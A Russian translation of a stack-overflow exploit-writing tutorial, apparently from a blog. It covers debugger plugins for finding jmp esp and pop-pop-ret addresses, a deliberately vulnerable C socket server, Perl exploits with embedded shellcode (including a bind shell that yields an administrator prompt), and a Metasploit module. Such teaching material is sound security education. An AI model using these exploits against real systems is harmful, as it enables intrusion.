  • - myJunk2 (A-массив) был найден в 0x0012f460 (который является esp-10). Т.е., если мы заменяли eip с jmp esp, мы можем позволить шеллкоду начаться в myJunk2 + 10 байтов (или 16 символов)
  • - мы должны удалить в скрипте последние 4 байта из $junk, и добавить адрес (4 байта) jmp esp или call esp, который перезапишет RET. Мы будем использовать 0x035fb847 как пример (не показанный выше, т.к. я все еще предпочитаю вручную выбирать адреса возврата, используя memdump или findjmp, т.к. при использовании 'findReturn' нельзя определить модуль, которому они принадлежат …
  • - нам нужно:
    • -- замените 1000 "A" шеллкодом
    • -- добавьте по крайней мере 16 NOP’ов перед шеллкодом (я добавил 50 nop'ов …, Если Вы добавите меньше, Вы можете повредить шеллкод, который я легко обнаружил использовав memDiff)

Скрипт:

#include 
my $sploitfile="blazesploit.plf";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6A...Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai"; #260 characters
#$junk is now 4 byte shorter
my $ret = pack('V',0x035fb847);  #jmp esp from EqualizerProcess.dll
my $nop="\x90" x 50;
# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

$payload =$junk.$ret.$nop.$shellcode;

open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);





Плагины Ollydbg

На openrce.com есть большое количество плагинов для ollydbg. Я не собираюсь обсуждать их все, а только очень важный/юзабильный при написании эксплойтов, и это - OllySEH.

Этот плагин делает поиск в памяти загруженных модулей процесса, проверяя, были ли они собраны с /safeseh. Это означает, что Вы можете использовать этот плагин, когда ollydbg присоединен к процессу. Плагин поможет Вам найти точное место в памяти с надежным/рабочим адресом возврата, перечисляя все модули, которые собраны (и те, которые не собраны - что еще более важно) с /safeseh.

Предположим, что мы нашли SEH-уязвимость в BlazeDVD5, и должны найти надежный “pop, pop, ret”. Мы можем воспользоваться ollyseh, чтобы найти все модули, которые не собраны с /safeseh, и искать pop,pop,ret инструкции в их памяти:

Список выполняемых модулей: (E)



Список safeseh модулей:





Ищите что-нибудь с "No SEH" или (что еще лучше) с “/SafeSEH OFF”, чтобы найти область памяти, в которой может находится pop,pop,ret инструкция.

Давайте проверим c:\program files\Blazevideo\BlazeDVD 5 Professional\MediaPlayerCtrl.dll

Вы могли бы использовать findjmp, чтобы найти pop,pop,ret инструкции, или ища инструкции в dll, использующая ollydbg:

Возвратитесь к списку выполняемых модулей, найдите dll и щелкните по ней два раза:



Щелчок правой кнопкой мыши и выбираем "Search for" - “Sequence of commands”.

Например, мы хотим найти pop eax, или pop <что-либо>, ret:



(попробуйте все комбинации с различными регистрами, пока не найдете нужного). Конечно, findjmp.exe будет работать намного быстрее, потому что Вы только должны были бы определить только первый регистр в pop,pop,ret последовательности (регистр второго pop был бы определен findjmp автоматически). Это намного быстрее бы указало нам на то, что у этой dll нет никакой годной для нас pop,pop,ret комбинации, и что мы должны были бы искать другую dll.

В любом случае, этот плагин может сохранить Вам много времени при написании SEH эксплойта, поскольку Вы сможете найти адерс надежного pop,pop,ret быстрее чем, в ситуации с попытками найти его в каждой из dll.

Immunity Debugger (ImmDbg) плагины/pycommands

Immunity debugger идет с хорошим/большим набором плагинов, но тем не менее Вы можете найти некоторые более полезные из них в следующих местах:
findtrampoline: http://www.openrce.org/forums/posts/559
aslrdynamicbase: http://www.openrce.org/forums/posts/560
funcdump: https://www.openrce.org/forums/posts/556
nsearch: http://natemcfeters.blogspot.com/2009/02/nsearch-new-immunitydbg-searching.html
pvefindaddr (мой собственный pycommand)

Из-за интеграции immdbg с питоном, и хорошо документированного API, Вы можете добавлять/писать свои собственные команды и плагины.

Загрузите .py файлы и поместите их в папку pycommand.

ImmDbg замечателен тем, что он содержит псевдонимы для команд windbg, таким образом Вы можете использовать в своих интересах скриптовую силу immdbg, и все еще использовать набор команд от windbg (если Вы более знакомы с командами windbg)

Findtrampoline

Этот скрипт предлагает такие же функциональные возможности, как и findjmp или msfpescan, когда необходимо найти подходящие адреса возврата, эксплуатируя классическое переполнение стека. Это позволяет Вам искать jmp , call и push + ret комбинации.

Вы можете вызвать findtrampoline скрипт, открыв окно PyCommand и выбрав findtrampoline, чтобы его запустить:





Двойной щелчок, введите регистр, который Вы хотите найти, и щелчок на "OK", чтобы начать поиск:



Теперь ждите завершения поиска. Плагин будет искать во всех загруженных модулях jmp esp (в нашем примере) и затем покажет число найденных адресов:



Также можно ввести в командной строке !findtrampoline :



Чтобы посмотреть результаты посика, откройте окно "Log data":



Чтобы увидеть, чем была найдена инструкция, выберите адрес и щелкните по нему два раза. Затем откройте окно "CPU"



Альтернативно, Вы можете использовать команду !searchcode, чтобы искать jmp esp инструкции:



(Результат укажет адрес, модуль (dll) и находиться ли инструкция в выполняемой странице памяти или не). Конечно, команда !searchopcode также прекрасно работает, но !findtrampoline будет искать все рабочие комбинации (тогда как !searchopcode требует определенной инструкции для посика)

aslrdynamicbase

Эта команда перечисляет все модули и показывает, включен ли в них ASLR. Это позволит Вам строить надежные эксплойты для таких OS, находя адреса возврата, у которых будет тот же самый адрес даже после перезагрузки системы.

Эта команда не требует никаких аргументов. Только введите её в командной строке, и смотрите на ASLR/dynamicbase таблицу для местоположений памяти, в которых включен/отключен ASLR.

Этот не только сохранит Ваше время, но также даст гарантию того, что ваш эксплойт не перестанет работать после перезагрузки системы.



pvefindaddr

Это маленький плагин, который я написал сам. Я коротко опишу следующие 4 операции (у текущей версии их намного больше):



  • - p: ищит pop/pop/ret комбинации (полезно при написании SEH-эксплойтов ). Это автоматически отфильтрует модули, которые являются защищенным safeseh. Таким образом адреса, которые Вы получаете, будут не защищены safeseh. Кроме того, будет автоматически перепробованы все комбинации и поиск во всех загруженных модулях (таким образом Вы не должны будете определять регистр или модуль. Если Вы определите регистр, то плагин покажет только те комбинации, где используется этот регистр. Если Вы определите регистр и название модуля, то Вы очевидно получите все комбинации, где этот регистр используется, и только из указанного модуля (даже если тот модуль защищен safeseh!)
  • - j: ищит все jmp/call/push, ret комбинации (полезен при написании эксплойтов с прямой перезаписью ret).
  • - jseh: эта операция полезна при обходе safeseh защиты. (см. 6 часть данного руководства). Как и другие, эта операция будет искать все комбинации автоматически
  • - nosafeseh: покажет все модули загуреженные в данный ммоент, которые защищены safeseh

Более подробно: http://www.corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/

Другие pycommand'ы и их синтаксис.

Чтобы получить больше информации по использованию pycommands, просто запустите pycommand в командной строке, откройте окно регистров, и Вы получите короткий текст помощи, указывающий параметры, которые должны быть предоставлены плагину.



Больше информации о immdbg и pycommands может быть найдено здесь и здесь

У ImmDbg есть много полезны скриптов, которые могут помочь разобраться со множетсвом проблем при написании различных видов эксплойтов.

Другие интересные вещи в immdbg

!packets позволяет Вам захватить пакеты от источника и получить функцию, которая ответственна за посылку/получение пакета. Пример: Откройте firefox и подключите immdbg к процессу. Прежде, чем запустить firefox из установленной отладчиком контрольной точки, запустите !packets

Продолжите выполнение браузера и перейдите на какой-либо вебсайт. Теперь возвратитесь к immdbg посмотрите в окно "Captured Packets":



!safeseh
Эта команда перечислит выполняемые модули и укажет, защищены ли они safeseh или нет. После запуска !safeseh, Вы должны открыть окно "Log Data", чтобы увидеть результат.


четверг, 27 октября 2011 г.

Руководство по написанию эксплойтов. Часть 4 - Импорт эксплойта в Metasploit

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ

В первых частях руководства, мы обсудили некоторые общие уязвимости, которые могут привести к двум типам эксплойтов: стековое переполнение буфера (с прямой перезаписью EIP), и буферное переполнение с использованием SEH chain. В моих примерах я использовал Perl, чтобы продемонстрировать, как создать рабочий эксплойт.

Очевидно, написание эксплойтов не ограничивается одним лишь Perl. Я предполагаю, что для этих целей может быть использован любой из языков программирования…
Однако, не зависимо от выбора языка эксплойт будет работать исправно, но может и лучше если включить его в состав Metasploit Framework и использовать в своих интересах некоторые из уникальных особенностей Metasploit.

Поэтому сейчас я собираюсь объяснить, как переписать свой эксплойт в качестве модуля для metasploit.

Модули Metasploit пишуться на Ruby. Но даже если вы не знакомы с Ruby, вы сможете написать модуль для своего эксплойта, прочитав данную часть руководства.

Типичный модуль эксплойта в metasploit состоит из следующих компонентов:
  • - заголовок и описание зависимостей
    • -- комментарии о модуле
    • -- подключение 'msf/core'
  • - определение класса
  • - инклуды
  • - определения "def":
    • -- инициализация
    • -- проверки (опционально)
    • -- эксплойт

Вы можете помещать комментарии в свой metasploit модуль используя символ #. Это все, что мы должны знать на данный момент, а теперь давайте пошагово рассмотрим построения модуля для нашего эксплойта.

Шаг первый: создание эксплойта для простого уязвимого сервера

Мы будем использовать следующий уязвимый сервер, написанный на C:

#include 
#include 
#include 

//load windows socket
#pragma comment(lib, "wsock32.lib")

//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0

void pr( char *str)
{
   char buf[500]="";
   strcpy(buf,str);
}
void sError(char *str)
{
   MessageBox (NULL, str, "socket Error" ,MB_OK);
   WSACleanup();
}

int main(int argc, char **argv)
{

WORD sockVersion;
WSADATA wsaData;

int rVal;
char Message[5000]="";
char buf[2000]="";

u_short LocalPort;
LocalPort = 200;

//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);

//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);

if(serverSocket == INVALID_SOCKET)
{
   sError("Failed socket()");
   return SS_ERROR;
}

SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;

//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
   sError("Failed bind()");
   WSACleanup();
   return SS_ERROR;
}

//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
   sError("Failed listen()");
   WSACleanup();
   return SS_ERROR;
}

//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
   sError("Failed accept()");
   WSACleanup();
   return SS_ERROR;
}

int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
   //receive the data that is being sent by the client max limit to 5000 bytes.
   bytesRecv = recv( clientSocket, Message, 5000, 0 );

   if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
   {
      printf( "\nConnection Closed.\n");
      break;
   }
}

//Pass the data received to the function pr
pr(Message);

//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);

WSACleanup();

return SS_OK;
}

Скомпилируйте этот код и запустите на сервере Windows 2003 R2 с SP2. (Я использовал lcc-win32, чтобы его скомпилировать)

Когда мы пошлем 1000 байтов на сервер, он упадет.

Следующий perl-скрипт продемонстрирует крушение:

#!usr/bin/perl
use strict;
use Socket;
my $junk = "\x41" x1000;

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk."\n";

print "[+] Payload sent\n";

close SOCKET or die "close: $!";

Уязвимый сервер упал, и EIP был перезаписан на строку из "A"

0:001> g
(e00.de0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffd6000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=41414141 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
41414141 ?? ???

Используя паттерны из metasploit, мы определим смещение до перезаписи EIP в 504 байта. Таким образом мы напишем новый скрипт, чтобы проверить правильность выбранного смещения и значения регистров, когда произойдет переполнение:

#!usr/bin/perl
use strict;
use Socket;

my $totalbuffer=1000;
my $junk = "\x41" x 504;
my $eipoverwrite = "\x42" x 4;
my $junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite));

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$junk2."\n";

print "[+] Payload sent\n";

close SOCKET or die "close: $!";

После отправки 504 "A", 4 "B" и связка из "C", мы увидим следующие состояния регистров и содержимое стека:

0:001> g
(ed0.eb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffde000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=42424242 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
42424242 ?? ???
0:000> d esp
0012e258 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e268 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e278 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e288 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e298 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2a8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2b8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2c8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC

Увеличьте размер $junk, чтобы определить, сколько места в наличии мы имеем для шеллкода. Это важно, потому что мы должны определить этот параметр в metasploit модуле.

Измените $totalbuffer на 2000, тем самым, выйдя за пределы, и содержимое ESP покажет, что мы можем заполнить память C-строкой до esp+5d3 (1491 байт). Это будет местом для шеллкода.

Все, что нам нужно, это перезаписать EIP на jmp esp (или call esp, или на что-либо подобное), и поместить наш шеллкод на место C-строки.

Используя findjmp, мы нашли рабочий адрес для нашего сервера Windows 2003 R2 SP2:

findjmp.exe ws2_32.dll esp
Reg: esp
Scanning ws2_32.dll for code usable with the esp register
0x71C02B67 push esp - ret
Finished Scanning ws2_32.dll for code usable with the esp register
Found 1 usable addresses

После выполнения некоторых тестов с шеллкодом, для создания завершенного эксплойта, мы должны сделать следующее:
  • - исключить 0xff из шеллкода
  • - поместить некоторое количество nop'ов перед шеллкодом

Наш заключительный эксплойт на perl, с привязыванием командной оболочки (bind shell), на tcp-порт 5555:

!#usr/bin/perl
#
print " --------------------------------------\n";
print "     Writing Buffer Overflows\n";
print "       Peter Van Eeckhoutte\n";
print "     http://www.corelan.be:8800\n";
print " --------------------------------------\n";
print "    Exploit for vulnserver.c\n";
print " --------------------------------------\n";
use strict;
use Socket;
my $junk = "\x90" x 504;

#jmp esp (from ws2_32.dll)
my $eipoverwrite = pack('V',0x71C02B67);

#add some NOP's
my $shellcode="\x90" x 50;

# windows/shell_bind_tcp - 702 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=
$shellcode=$shellcode."\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" .
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" .
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" .
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" .
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" .
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" .
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" .
"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" .
"\x41\x41";

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$shellcode."\n";

print "[+] Payload sent\n";
print "[+] Attempting to telnet to $host on port 5555...\n";
system("telnet $host 5555");

close SOCKET or die "close: $!";

Эксплойт в действии:

root@backtrack4:/tmp# perl sploit.pl 192.168.24.3 200
--------------------------------------
Writing Buffer Overflows
Peter Van Eeckhoutte
http://www.corelan.be:8800
--------------------------------------
Exploit for vulnserver.c
--------------------------------------
[+] Setting up socket
[+] Connecting to 192.168.24.3 on port 200
[+] Sending payload
[+] Payload sent
[+] Attempting to telnet to 192.168.24.3 on port 5555...
Trying 192.168.24.3...
Connected to 192.168.24.3.
Escape character is '^]'.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\vulnserver\lcc>whoami
whoami
win2003-01\administrator

Самые важные параметры, которые должны быть взяты из этого эксплойта:
  • - смещение к ret (чтобы перезаписать eip) на 504 байта
  • - адрес jump в windows 2003 R2 SP2 (English) равный 0x71C02B67
  • - шеллкод не должен содержать 0?00 или 0xff
  • - шеллкод должен быть длиной приблизительно в 1400 байтов

После проведения некоторых тестов на Windows XP SP3 (English), мы решаем, что выбранное смещение сохраниться, но адрес jmp должен быть изменен (например, на 0x7C874413). Мы напишем metasploit модуль, который позволит нам выбирать одну из двух целей, и будет использовать правильный адрес jmp.

Подгоняем эксплойт к metasploit.

Во-первых, мы должны определить тип нашего эксплойта, чтобы определит папку в пределах структуры metasploit, где и будет храниться эксплойт. Если бы наш эксплойт был нацелен на Windows ftp server программы, он должен был бы быть помещен в директории с эксплойтами под windows ftp серверы.

Модули Metasploit хранятся в framework3xx, в дирректории под названием /modules/exploits. В этой папке эксплойты разделены в зависимости от операционной системы, а затем от сервисов, на которые они рассчитаны.

Наш сервер запускается на windows, таким образом, мы относим его к категории windows. Категория windows уже содержит многие папки (от antivirus до wins), и включает в себя папку misc. Мы отнесем наш эксплойт к misc (или к telnet), потому что он в действительности не принадлежит ни к одному из других типов.

Мы создадим свой metasploit модуль под %metasploit %/modules/windows/misc:

root@backtrack4:/# cd /pentest/exploits/framework3/modules/exploits/windows/misc
root@backtrack4:/pentest/exploits/framework3/modules/exploits/windows/misc# vi custom_vulnserver.rb

#
#
# Custom metasploit exploit for vulnserver.c
# Written by Peter Van Eeckhoutte
#
#
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

      include Msf::Exploit::Remote::Tcp

      def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Custom vulnerable server stack overflow',
                        'Description'    => %q{
                                        This module exploits a stack overflow in a
                                        custom vulnerable server.
                                             },
                        'Author'         => [ 'Peter Van Eeckhoutte' ],
                        'Version'        => '$Revision: 9999 $',
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 1400,
                                        'BadChars' => "\x00\xff",
                                },
                        'Platform'       => 'win',

                        'Targets'        =>
                                [
                                        ['Windows XP SP3 En',
                                          { 'Ret' => 0x7c874413, 'Offset' => 504 } ],
                                        ['Windows 2003 Server R2 SP2',
                                          { 'Ret' => 0x71c02b67, 'Offset' => 504  } ],
                                ],
                        'DefaultTarget' => 0,

                        'Privileged'     => false
                        ))

                        register_options(
                        [
                                Opt::RPORT(200)
                        ], self.class)
       end

       def exploit
          connect

          junk = make_nops(target['Offset'])
          sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
          sock.put(sploit)

          handler
          disconnect

       end

end

Мы видим следующие компоненты:
  • - во-первых, строку ' require msf/core ', которая будет действительна для всех эксплойтов в metasploit
  • - определение класса. В нашем случае это - remote exploit.
  • - затем, информацию о эксплойте и его определение:
    • -- include: в нашем случае это - tcp соединение, таким образом, мы используем Msf::Exploit::Remote::Tcp
    • -- Information:
      • --- Полезная нагрузку(payload): определите длину и плохие символы (0?00 и 0xff в нашем случае)
      • --- Определите цели, и параметры настройки, такие как адрес возврата, смещение, и т.д.
    • -- Exploit:
      • --- connect (который настроит связь с удаленным портом),
      • --- создание буфера:
        • ---- junk (nop'ы, с длиной смещения)
        • ---- добавьте адрес возврата, больше nop'ов, и затем закодированную полезную нагрузку
      • --- буфер для соединения
      • --- интерфейс(handle) эксплойта
      • --- разъединение(disconnect)

Теперь откройте msfconsole. Если в Вашем сценарии произойдет ошибка, то Вы увидите информацию о ней, в то время как загрузится msfconsole. Если msfconsole был уже загружен, Вы должны будете перезапустить его прежде, чем сможете использовать этот новый модуль (или прежде, чем Вы сможете использовать обновленный модуль, если Вы делали изменения)

Провериим эксплойт:
Тест №1: Windows XP SP3

root@backtrack4:/pentest/exploits/framework3# ./msfconsole 

                |                    |      _) |
 __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __|
 |   |   |  __/ |   (   |\__ \ |   | | (   | | |
_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
                              _|                   

       =[ msf v3.3-dev
+ -- --=[ 395 exploits - 239 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 187 aux

msf > use windows/misc/custom_vulnserver
msf exploit(custom_vulnserver) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  200              yes       The target port     

Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3 En  

msf exploit(custom_vulnserver) > set rhost 192.168.24.10
rhost => 192.168.24.10
msf exploit(custom_vulnserver) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP SP3 En
   1   Windows 2003 Server R2 SP2  

msf exploit(custom_vulnserver) > set target 0
target => 0
msf exploit(custom_vulnserver) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(custom_vulnserver) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.24.10   yes       The target address
   RPORT  200              yes       The target port     

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.24.10   no        The target address                    

Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3 En  

msf exploit(custom_vulnserver) > exploit

[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
